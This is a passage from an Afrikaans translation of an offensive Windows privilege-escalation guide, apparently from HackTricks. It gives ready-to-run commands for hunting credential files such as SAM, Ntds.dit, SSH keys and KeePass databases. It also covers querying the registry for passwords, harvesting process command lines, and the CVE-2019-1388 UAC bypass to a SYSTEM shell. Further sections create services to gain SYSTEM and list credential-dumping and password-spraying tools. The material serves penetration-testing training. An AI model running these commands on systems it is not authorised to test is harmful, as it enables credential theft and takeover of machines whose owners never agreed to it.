TypedURLs #IE
|
||
%SYSTEMDRIVE%\pagefile.sys
|
||
%WINDIR%\debug\NetSetup.log
|
||
%WINDIR%\repair\sam
|
||
%WINDIR%\repair\system
|
||
%WINDIR%\repair\software, %WINDIR%\repair\security
|
||
%WINDIR%\iis6.log
|
||
%WINDIR%\system32\config\AppEvent.Evt
|
||
%WINDIR%\system32\config\SecEvent.Evt
|
||
%WINDIR%\system32\config\default.sav
|
||
%WINDIR%\system32\config\security.sav
|
||
%WINDIR%\system32\config\software.sav
|
||
%WINDIR%\system32\config\system.sav
|
||
%WINDIR%\system32\CCM\logs\*.log
|
||
%USERPROFILE%\ntuser.dat
|
||
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
|
||
```
|
||
Soek al die voorgestelde lêers:
|
||
```
|
||
cd C:\
|
||
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
|
||
```
|
||
|
||
```
|
||
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
||
```
|
||
### Kredensiale in die Herwinningsblik
|
||
|
||
Jy moet ook die Blik nagaan om na kredensiale daarin te soek.
|
||
|
||
Om **wagwoorde** wat deur verskeie programme gestoor is, te herstel, kan jy gebruik maak van: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||
|
||
### Binne die registrasie
|
||
|
||
**Ander moontlike registrasiesleutels met kredensiale**
|
||
```bash
|
||
reg query "HKCU\Software\ORL\WinVNC3\Password"
|
||
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
|
||
reg query "HKCU\Software\TightVNC\Server"
|
||
reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||
```
|
||
[**Onttrek openssh sleutels uit die registrasie.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||
|
||
### Blaaiers Geskiedenis
|
||
|
||
Jy moet kyk vir dbs waar wagwoorde van **Chrome of Firefox** gestoor word.\
|
||
Kyk ook na die geskiedenis, boekmerke en gunstelinge van die blaaiers sodat dalk sommige **wagwoorde is** daar gestoor.
|
||
|
||
Gereedskap om wagwoorde uit blaaiers te onttrek:
|
||
|
||
- Mimikatz: `dpapi::chrome`
|
||
- [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)
|
||
- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
|
||
- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
|
||
|
||
### **COM DLL Oorskrywing**
|
||
|
||
**Component Object Model (COM)** is 'n tegnologie wat binne die Windows-bedryfstelsel gebou is wat **onderlinge kommunikasie** tussen sagtewarekomponente van verskillende tale toelaat. Elke COM-komponent is **geïdentifiseer deur 'n klas ID (CLSID)** en elke komponent stel funksionaliteit bloot via een of meer interfaces, geïdentifiseer deur interface IDs (IIDs).
|
||
|
||
COM klasse en interfaces word in die registrasie onder **HKEY\CLASSES\ROOT\CLSID** en **HKEY\CLASSES\ROOT\Interface** onderskeidelik gedefinieer. Hierdie registrasie word geskep deur die **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT** te meng.
|
||
|
||
Binne die CLSIDs van hierdie registrasie kan jy die kind registrasie **InProcServer32** vind wat 'n **standaardwaarde** bevat wat na 'n **DLL** verwys en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Enkel-Draad), **Free** (Meervoudige-Draad), **Both** (Enkel of Meervoudig) of **Neutral** (Draad Neutraal) kan wees.
|
||
|
||
.png>)
|
||
|
||
Basies, as jy enige van die DLLs wat gaan uitgevoer word kan **oorskryf**, kan jy **privileges verhoog** as daardie DLL deur 'n ander gebruiker uitgevoer gaan word.
|
||
|
||
Om te leer hoe aanvallers COM Hijacking as 'n volhardingsmeganisme gebruik, kyk:
|
||
|
||
{{#ref}}
|
||
com-hijacking.md
|
||
{{#endref}}
|
||
|
||
### **Generiese Wagwoordsoektog in lêers en registrasie**
|
||
|
||
**Soek na lêerinhoud**
|
||
```bash
|
||
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||
findstr /si password *.xml *.ini *.txt *.config
|
||
findstr /spin "password" *.*
|
||
```
|
||
**Soek na 'n lêer met 'n sekere lêernaam**
|
||
```bash
|
||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||
where /R C:\ user.txt
|
||
where /R C:\ *.ini
|
||
```
|
||
**Soek die registrasie vir sleutelname en wagwoorde**
|
||
```bash
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /d
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||
```
|
||
### Gereedskap wat soek na wagwoorde
|
||
|
||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is 'n msf** plugin wat ek geskep het om **automaties elke metasploit POST-module wat soek na kredensiale** binne die slagoffer uit te voer.\
|
||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) soek outomaties na al die lêers wat wagwoorde bevat wat op hierdie bladsy genoem word.\
|
||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is 'n ander uitstekende hulpmiddel om wagwoorde uit 'n stelsel te onttrek.
|
||
|
||
Die hulpmiddel [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) soek na **sessies**, **gebruikersname** en **wagwoorde** van verskeie hulpmiddels wat hierdie data in duidelike teks stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP)
|
||
```bash
|
||
Import-Module path\to\SessionGopher.ps1;
|
||
Invoke-SessionGopher -Thorough
|
||
Invoke-SessionGopher -AllDomain -o
|
||
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||
```
|
||
## Gelekte Handelaars
|
||
|
||
Imagine dat **'n proses wat as SYSTEM loop 'n nuwe proses** (`OpenProcess()`) met **volledige toegang** open. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae voorregte maar wat al die oop handvatsels van die hoofproses erf**.\
|
||
As jy **volledige toegang tot die lae voorregte proses** het, kan jy die **oop handvatsel na die voorregte proses wat geskep is** met `OpenProcess()` gryp en **'n shellcode inspuit**.\
|
||
[Lees hierdie voorbeeld vir meer inligting oor **hoe om hierdie kwesbaarheid te ontdek en te benut**.](leaked-handle-exploitation.md)\
|
||
[Lees hierdie **ander pos vir 'n meer volledige verduideliking oor hoe om te toets en meer oop handelaars van prosesse en drade te misbruik wat met verskillende vlakke van toestemmings geërf is (nie net volledige toegang nie)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||
|
||
## Genoemde Pyp Kliënt Imitasie
|
||
|
||
Gedeelde geheue segmente, bekend as **pype**, stel proseskommunikasie en datatransfer in staat.
|
||
|
||
Windows bied 'n funksie genaamd **Genoemde Pype**, wat ongebonde prosesse toelaat om data te deel, selfs oor verskillende netwerke. Dit herinner aan 'n kliënt/bediener argitektuur, met rolle wat gedefinieer is as **genoemde pyp bediener** en **genoemde pyp kliënt**.
|
||
|
||
Wanneer data deur 'n pyp deur 'n **kliënt** gestuur word, het die **bediener** wat die pyp opgestel het die vermoë om die **identiteit** van die **kliënt** aan te neem, mits dit die nodige **SeImpersonate** regte het. Om 'n **voorregte proses** te identifiseer wat via 'n pyp kommunikeer wat jy kan naboots, bied 'n geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem sodra dit met die pyp waarmee jy werk, interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, kan nuttige gidse gevind word [**hier**](named-pipe-client-impersonation.md) en [**hier**](#from-high-integrity-to-system).
|
||
|
||
Ook die volgende hulpmiddel laat jou toe om **'n genoem pyp kommunikasie met 'n hulpmiddel soos burp te onderskep:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie hulpmiddel laat jou toe om al die pype te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||
|
||
## Verskeie
|
||
|
||
### Lêeruitbreidings wat goedere in Windows kan uitvoer
|
||
|
||
Kyk na die bladsy **[https://filesec.io/](https://filesec.io/)**
|
||
|
||
### **Monitering van Opdraglyne vir wagwoorde**
|
||
|
||
Wanneer jy 'n shell as 'n gebruiker kry, mag daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat **akkrediteer op die opdraglyn**. Die onderstaande skrip vang proses opdraglyne elke twee sekondes en vergelyk die huidige toestand met die vorige toestand, wat enige verskille uitset.
|
||
```bash
|
||
while($true)
|
||
{
|
||
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||
Start-Sleep 1
|
||
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||
}
|
||
```
|
||
## Diefstal van wagwoorde uit prosesse
|
||
|
||
## Van Lae Privilege Gebruiker na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
|
||
|
||
As jy toegang het tot die grafiese koppelvlak (deur die konsole of RDP) en UAC is geaktiveer, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" van 'n onprivilegieerde gebruiker te laat loop.
|
||
|
||
Dit maak dit moontlik om privilige te eskaleer en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Boonop is daar geen behoefte om enigiets te installeer nie en die binêre wat tydens die proses gebruik word, is onderteken en uitgegee deur Microsoft.
|
||
|
||
Sommige van die geraakte stelsels is die volgende:
|
||
```
|
||
SERVER
|
||
======
|
||
|
||
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
|
||
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
|
||
Windows 2016 14393 ** link OPENED AS SYSTEM **
|
||
Windows 2019 17763 link NOT opened
|
||
|
||
|
||
WORKSTATION
|
||
===========
|
||
|
||
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
|
||
Windows 8 9200 ** link OPENED AS SYSTEM **
|
||
Windows 8.1 9600 ** link OPENED AS SYSTEM **
|
||
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
|
||
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
|
||
Windows 10 1703 15063 link NOT opened
|
||
Windows 10 1709 16299 link NOT opened
|
||
```
|
||
Om hierdie kwesbaarheid te benut, is dit nodig om die volgende stappe uit te voer:
|
||
```
|
||
1) Right click on the HHUPD.EXE file and run it as Administrator.
|
||
|
||
2) When the UAC prompt appears, select "Show more details".
|
||
|
||
3) Click "Show publisher certificate information".
|
||
|
||
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
|
||
|
||
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
|
||
|
||
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
|
||
|
||
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
|
||
|
||
8) Remember to cancel setup and the UAC prompt to return to your desktop.
|
||
```
|
||
U het al die nodige lêers en inligting in die volgende GitHub-repo:
|
||
|
||
https://github.com/jas502n/CVE-2019-1388
|
||
|
||
## Van Administrateur Medium na Hoë Integriteitsvlak / UAC Bypass
|
||
|
||
Lees dit om **meer te leer oor Integriteitsvlakke**:
|
||
|
||
{{#ref}}
|
||
integrity-levels.md
|
||
{{#endref}}
|
||
|
||
Lees dan **hierdie om meer te leer oor UAC en UAC-bypasses:**
|
||
|
||
{{#ref}}
|
||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||
{{#endref}}
|
||
|
||
## **Van Hoë Integriteit na Stelsel**
|
||
|
||
### **Nuwe diens**
|
||
|
||
As u reeds op 'n Hoë Integriteit-proses loop, kan die **pad na SYSTEM** maklik wees deur eenvoudig **'n nuwe diens te skep en uit te voer**:
|
||
```
|
||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||
sc start newservicename
|
||
```
|
||
> [!NOTE]
|
||
> Wanneer jy 'n diens binêre skep, maak seker dit is 'n geldige diens of dat die binêre die nodige aksies vinnig uitvoer, aangesien dit in 20 sekondes doodgemaak sal word as dit nie 'n geldige diens is nie.
|
||
|
||
### AlwaysInstallElevated
|
||
|
||
Van 'n Hoë Integriteit proses kan jy probeer om die **AlwaysInstallElevated register inskrywings** te **aktiveer** en 'n omgekeerde skulp te **installeer** met 'n _**.msi**_ omhulsel.\
|
||
[Meer inligting oor die register sleutels wat betrokke is en hoe om 'n _.msi_ pakket hier te installeer.](#alwaysinstallelevated)
|
||
|
||
### Hoë + SeImpersonate regte na Stelsel
|
||
|
||
**Jy kan** [**die kode hier vind**](seimpersonate-from-high-to-system.md)**.**
|
||
|
||
### Van SeDebug + SeImpersonate na Volle Token regte
|
||
|
||
As jy daardie token regte het (waarskynlik sal jy dit in 'n reeds Hoë Integriteit proses vind), sal jy in staat wees om **byna enige proses** (nie beskermde prosesse nie) met die SeDebug regte te **oopmaak**, **die token** van die proses te kopieer, en 'n **arbitraire proses met daardie token** te skep.\
|
||
Die gebruik van hierdie tegniek behels gewoonlik **om enige proses wat as SYSTEM loop met al die token regte te kies** (_ja, jy kan SYSTEM prosesse vind sonder al die token regte_).\
|
||
**Jy kan 'n** [**voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||
|
||
### **Genoemde Pype**
|
||
|
||
Hierdie tegniek word deur meterpreter gebruik om in `getsystem` te eskaleer. Die tegniek bestaan uit **die skep van 'n pyp en dan 'n diens te skep/te misbruik om op daardie pyp te skryf**. Dan sal die **bediener** wat die pyp geskep het met die **`SeImpersonate`** regte in staat wees om die **token** van die pyp kliënt (die diens) te **verpersoonlik** en SYSTEM regte te verkry.\
|
||
As jy wil [**meer leer oor naam pype, moet jy dit lees**](#named-pipe-client-impersonation).\
|
||
As jy 'n voorbeeld wil lees van [**hoe om van hoë integriteit na Stelsel te gaan met naam pype, moet jy dit lees**](from-high-integrity-to-system-with-name-pipes.md).
|
||
|
||
### Dll Hijacking
|
||
|
||
As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **SYSTEM** loop, **gelaai** word, sal jy in staat wees om arbitrêre kode met daardie toestemmings uit te voer. Daarom is Dll Hijacking ook nuttig vir hierdie soort regte eskalasie, en, verder, as dit **veel makliker is om te bereik vanuit 'n hoë integriteit proses** aangesien dit **skryfregte** op die vouers het wat gebruik word om dlls te laai.\
|
||
**Jy kan** [**meer leer oor Dll hijacking hier**](dll-hijacking/index.html)**.**
|
||
|
||
### **Van Administrateur of Netwerkdiens na Stelsel**
|
||
|
||
- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator)
|
||
- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/)
|
||
- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit)
|
||
|
||
### Van LOKALE DIENS of NETWERKDIENS na volle regte
|
||
|
||
**Lees:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||
|
||
## Meer hulp
|
||
|
||
[Statiese impacket binêre](https://github.com/ropnop/impacket_static_binaries)
|
||
|
||
## Nuttige gereedskap
|
||
|
||
**Beste gereedskap om te soek na Windows plaaslike regte eskalasie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||
|
||
**PS**
|
||
|
||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir miskonfigurasies en sensitiewe lêers (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gediagnoseer.**\
|
||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir sommige moontlike miskonfigurasies en versamel inligting (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
|
||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Kontroleer vir miskonfigurasies**\
|
||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie inligting. Gebruik -Thorough in plaaslik.**\
|
||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Onttrek kredensiale uit Credential Manager. Gediagnoseer.**\
|
||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spuit versamelde wagwoorde oor domein**\
|
||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofing en man-in-the-middle gereedskap.**\
|
||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basiese privesc Windows enumerasie**\
|
||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Soek na bekende privesc kwesbaarhede (DEPRECATED vir Watson)\
|
||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Plaaslike kontroles **(Benodig Admin regte)**
|
||
|
||
**Exe**
|
||
|
||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Soek na bekende privesc kwesbaarhede (moet saamgestel word met VisualStudio) ([**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates die gasheer op soek na miskonfigurasies (meer 'n inligting versamel gereedskap as privesc) (moet saamgestel word) **(**[**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Onttrek kredensiale uit baie sagteware (vooraf saamgestelde exe in github)**\
|
||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port van PowerUp na C#**\
|
||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir miskonfigurasie (uitvoerbare vooraf saamgestelde in github). Nie aanbeveel nie. Dit werk nie goed in Win10.\
|
||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike miskonfigurasies (exe van python). Nie aanbeveel nie. Dit werk nie goed in Win10.
|
||
|
||
**Bat**
|
||
|
||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Gereedskap geskep gebaseer op hierdie pos (dit het nie toegangchk nodig om behoorlik te werk nie, maar dit kan dit gebruik).
|
||
|
||
**Plaaslik**
|
||
|
||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lees die uitvoer van **systeminfo** en beveel werkende exploits aan (lokale python)\
|
||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lees die uitvoer van **systeminfo** en beveel werkende exploits aan (lokale python)
|
||
|
||
**Meterpreter**
|
||
|
||
_multi/recon/local_exploit_suggestor_
|
||
|
||
Jy moet die projek saamstel met die korrekte weergawe van .NET ([sien dit](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer gasheer te sien, kan jy doen:
|
||
```
|
||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||
```
|
||
## Verwysings
|
||
|
||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
|
||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
|
||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
|
||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
|
||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
|
||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
|
||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|